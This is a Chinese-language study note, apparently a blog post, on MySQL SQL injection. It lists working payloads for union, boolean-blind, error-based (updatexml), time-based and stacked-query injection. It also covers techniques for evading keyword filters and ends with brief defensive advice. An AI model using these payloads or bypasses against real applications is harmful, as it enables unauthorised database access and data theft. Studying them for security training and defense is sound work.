学习笔记(六)SQL注入

1.SQL注入:

#1 sql注入原理:前端构造参数拼接到sql语句查询数据库;
启示开发者:外部参数皆不可信
#2 mysql相关:Mysql5.0版本后,有默认数据库information_schema
里面包含SCHEMATA(储存所有数据库库名,字段名是schema_name)
TABLES(所有数据库库名和表名,字段名分别是table_schema,table_name)
COLUMNS(所有库名表名字段名,table_schema,table_name,column_name)
#3 limit:limit m,n eg:limit 0,1 从第一条开始的一条记录
#4 函数:database()、version()、user()
#5 注释符:#、–空格、/**/(地址栏用–+、%23)
#6 内联注释
#7 union注入
用burp比较每次注入返回信息
在burp请求页时,+代表空格
#8 布尔盲注
先判断库名长度:length(database())>=1 --+;
逐字判断数据库名:
substr(database(),1,1)=‘t’ --+ //用字符
ord(Substr(database(),1,1))=115 --+ //用ascii码
用burp爆破;
表名和字段名也是逐字判断:
substr((select table_name from informaton_schema.tables where table_name=’database()’ limit 0,1),1,1)=’e’ --+
#9 报错注入
利用updatexml()函数获取user():
and updatexml(1,concat(0x7e,(select user()),0x7e),1)- - +;
数据库名:and updatexml(1,concat(0x7e,(select database()),0x7e),1)- - +;
表名:updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) --+;
#10 时间注入:时间盲注
If(expr1,expr2,expr3)//1对返回2,否则3
If (length(database())>1,sleep(5),1)//观察burp返回时间判断是否正确
查询数据库:if(substr(database(),1,1)=’s’,sleep(5),1)
#11 堆叠查询注入:查询多条语句
‘;select if(substr(user(),1,1)=’r’,sleep(3),1)%23//分号是灵魂
#12 二次注入:在相关网址注册用户test’,生成id,再输入id间接注入
#13 宽字节注入:
参数被反斜杠单引号包围时,id 无法逃逸,当数据库编码为gbk格式
用%df,因为反斜杠是%5c,%df%5c编码为字“连”,参数可逃逸,再结合union注入;
嵌套查询,单引号被转译,可以用(select database())表示’sql’;
#14 cookie注入:
url没有id参数,cookie中有id参数,修改cookie注入
#15 base64编码注入:
Url 中的id参数经过base64编码
#16 XFF注入:
http请求头中有一个头部参数x-forwarded-for,修改值可以伪造客户端ip
ip即为注入点

2.SQL注入绕过技术:

#1 大小写绕过:当出现no hack考虑拦截
改变关键词的大小写绕过,因为本身sql语句大小写不敏感;
#2 双写绕过:有拦截关键词的情况
Eg: and 会被绕过,写成anandd
#3 编码绕过:有拦截关键词的情况
服务器会自动对url解码一次,因此关键词要URL全编码两次
#4 内联注释绕过:
and 写成/!and/

3.SQL注入防护手段

#1 过滤危险字符:
普通查询语句,过滤掉特殊语法;
老版本mysql不支持union,要检查;
程序里基本不含–+或#这样的注释;
sleep()函数不会被使用;
老版本不支持子查询;
#2 使用预编译语句:不直接将变量拼接到PDO语句中,用占位符

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值